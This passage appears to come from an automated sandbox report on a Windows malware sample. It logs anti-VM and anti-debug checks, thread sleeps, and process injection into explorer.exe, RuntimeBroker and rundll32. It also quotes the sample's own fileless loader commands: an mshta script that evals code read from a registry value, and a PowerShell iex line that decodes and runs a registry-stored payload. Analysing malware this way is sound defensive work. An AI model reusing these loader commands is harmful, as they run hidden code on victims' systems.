Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\control.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\control.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5743
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3025

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4404

Thread sleep time: -7378697629483816s >= -30000s

Source: C:\Windows\SysWOW64\WerFault.exe

File opened: PhysicalDrive0

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\SysWOW64\regsvr32.exe

1_2_04A842B4

Source: explorer.exe, 0000001E.00000000.437556746.0000000008C73000.00000004.00000001.sdmp	Binary or memory string: 30d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000001E.00000000.437107057.0000000008A32000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00dRom0
Source: explorer.exe, 0000001E.00000000.437107057.0000000008A32000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 0000001E.00000000.431890045.00000000059C0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 0000001E.00000000.437305714.0000000008B88000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000001E.00000000.437305714.0000000008B88000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}e
Source: explorer.exe, 0000001E.00000002.527114908.00000000048E0000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: mshta.exe, 00000015.00000002.387243962.000001AB9F6F5000.00000004.00000001.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}[h
Source: explorer.exe, 0000001E.00000000.437180572.0000000008ACF000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000Datc
Source: explorer.exe, 0000001E.00000000.437305714.0000000008B88000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}C
Source: explorer.exe, 0000001E.00000000.437180572.0000000008ACF000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 0000001E.00000000.433905320.00000000069DB000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD002
Source: explorer.exe, 0000001E.00000000.431890045.00000000059C0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 0000001E.00000000.431890045.00000000059C0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 0000001E.00000000.431890045.00000000059C0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Windows\SysWOW64\regsvr32.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 1_2_0493009C mov eax, dword ptr fs:[00000030h]	1_2_0493009C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 1_2_04930476 mov eax, dword ptr fs:[00000030h]	1_2_04930476
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 1_2_049303AC mov eax, dword ptr fs:[00000030h]	1_2_049303AC

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WerFault.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion:

Allocates memory in foreign processes

Show sources

Source: C:\Windows\explorer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 26754260000 protect: page execute and read and write
Source: C:\Windows\explorer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 2433E7D0000 protect: page execute and read and write
Source: C:\Windows\System32\control.exe	Memory allocated: C:\Windows\System32\rundll32.exe base: 24E31E50000 protect: page execute and read and write

Changes memory attributes in foreign processes to executable or writable

Show sources

Source: C:\Windows\explorer.exe	Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFFAE131580 protect: page execute and read and write
Source: C:\Windows\explorer.exe	Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFFAE131580 protect: page execute read
Source: C:\Windows\explorer.exe	Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFFAE131580 protect: page execute and read and write
Source: C:\Windows\explorer.exe	Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFFAE131580 protect: page execute and read and write
Source: C:\Windows\explorer.exe	Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFFAE131580 protect: page execute read
Source: C:\Windows\explorer.exe	Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFFAE131580 protect: page execute and read and write
Source: C:\Windows\explorer.exe	Memory protected: unknown base: 7FFFAE131580 protect: page execute and read and write
Source: C:\Windows\explorer.exe	Memory protected: unknown base: 7FFFAE131580 protect: page execute read
Source: C:\Windows\explorer.exe	Memory protected: unknown base: 7FFFAE131580 protect: page execute and read and write
Source: C:\Windows\explorer.exe	Memory protected: unknown base: 7FFFAE131580 protect: page execute and read and write
Source: C:\Windows\explorer.exe	Memory protected: unknown base: 7FFFAE131580 protect: page execute read
Source: C:\Windows\explorer.exe	Memory protected: unknown base: 7FFFAE131580 protect: page execute and read and write
Source: C:\Windows\System32\control.exe	Memory protected: unknown base: 7FFFAE131580 protect: page execute and read and write
Source: C:\Windows\System32\control.exe	Memory protected: unknown base: 7FFFAE131580 protect: page execute read
Source: C:\Windows\System32\control.exe	Memory protected: unknown base: 7FFFAE131580 protect: page execute and read and write

Compiles code for process injection (via .Net compiler)

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File written: C:\Users\user\AppData\Local\Temp\chv50z53\chv50z53.0.cs

Jump to dropped file

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread created: C:\Windows\explorer.exe EIP: AE131580
Source: C:\Windows\explorer.exe	Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: AE131580
Source: C:\Windows\explorer.exe	Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: AE131580
Source: C:\Windows\explorer.exe	Thread created: unknown EIP: AE131580
Source: C:\Windows\explorer.exe	Thread created: unknown EIP: AE131580
Source: C:\Windows\System32\control.exe	Thread created: unknown EIP: AE131580

Injects code into the Windows Explorer (explorer.exe)

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: PID: 3292 base: CF2000 value: 00
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: PID: 3292 base: 7FFFAE131580 value: EB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: PID: 3292 base: 2FC0000 value: 80
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: PID: 3292 base: 7FFFAE131580 value: 40

Maps a DLL or memory area into another process

Show sources

Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: unknown target: C:\Windows\System32\control.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Windows\explorer.exe	Section loaded: unknown target: C:\Windows\System32\RuntimeBroker.exe protection: execute and read and write
Source: C:\Windows\explorer.exe	Section loaded: unknown target: C:\Windows\System32\RuntimeBroker.exe protection: execute and read and write
Source: C:\Windows\explorer.exe	Section loaded: unknown target: unknown protection: execute and read and write
Source: C:\Windows\explorer.exe	Section loaded: unknown target: C:\Program Files\internet explorer\iexplore.exe protection: execute and read and write
Source: C:\Windows\explorer.exe	Section loaded: unknown target: unknown protection: execute and read and write
Source: C:\Windows\System32\control.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Windows\System32\control.exe	Section loaded: unknown target: C:\Windows\System32\rundll32.exe protection: execute and read and write

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Windows\SysWOW64\regsvr32.exe	Thread register set: target process: 6968	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread register set: target process: 3292
Source: C:\Windows\explorer.exe	Thread register set: target process: 3088
Source: C:\Windows\explorer.exe	Thread register set: target process: 3756
Source: C:\Windows\explorer.exe	Thread register set: target process: 4396
Source: C:\Windows\explorer.exe	Thread register set: target process: 5804
Source: C:\Windows\explorer.exe	Thread register set: target process: 6208
Source: C:\Windows\System32\control.exe	Thread register set: target process: 3292
Source: C:\Windows\System32\control.exe	Thread register set: target process: 7012

Writes to foreign memory regions

Show sources

Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\System32\control.exe base: 7FF7172F12E0	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\System32\control.exe base: 7FF7172F12E0	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\explorer.exe base: CF2000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\explorer.exe base: 7FFFAE131580
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\explorer.exe base: 2FC0000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\explorer.exe base: 7FFFAE131580
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: B48A8F9000
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFFAE131580
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 26754260000
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFFAE131580
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 943186B000
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFFAE131580
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2433E7D0000
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFFAE131580
Source: C:\Windows\System32\control.exe	Memory written: C:\Windows\System32\rundll32.exe base: 7FF7FDC65FD0
Source: C:\Windows\System32\control.exe	Memory written: C:\Windows\System32\rundll32.exe base: 24E31E50000
Source: C:\Windows\System32\control.exe	Memory written: C:\Windows\System32\rundll32.exe base: 7FF7FDC65FD0

Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 'C:\Program Files\Internet Explorer\iexplore.exe'	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\internet explorer\iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').Barclers))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\q3xypckz\q3xypckz.cmdline'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\chv50z53\chv50z53.cmdline'
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user~1\AppData\Local\Temp\RESBA2B.tmp' 'c:\Users\user\AppData\Local\Temp\q3xypckz\CSC358FCCDF4025435CA355D903053645.TMP'
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user~1\AppData\Local\Temp\RESC8D1.tmp' 'c:\Users\user\AppData\Local\Temp\chv50z53\CSCD671F0735D74415BB6A373562E60C48B.TMP'
Source: C:\Windows\System32\control.exe	Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL -h
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: unknown

Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\Audiinrt'));if(!window.flag)close()</script>'

Source: explorer.exe, 0000001E.00000000.420488752.0000000001400000.00000002.00000001.sdmp	Binary or memory string: uProgram Manager
Source: explorer.exe, 0000001E.00000000.433237497.0000000005F40000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000001E.00000000.420488752.0000000001400000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: explorer.exe, 0000001E.00000002.512108234.0000000000EB8000.00000004.00000020.sdmp	Binary or memory string: ProgmanX
Source: explorer.exe, 0000001E.00000000.420488752.0000000001400000.00000002.00000001.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 0000001E.00000000.437180572.0000000008ACF000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWndAj

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 1_2_04A85F3A cpuid

1_2_04A85F3A

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation

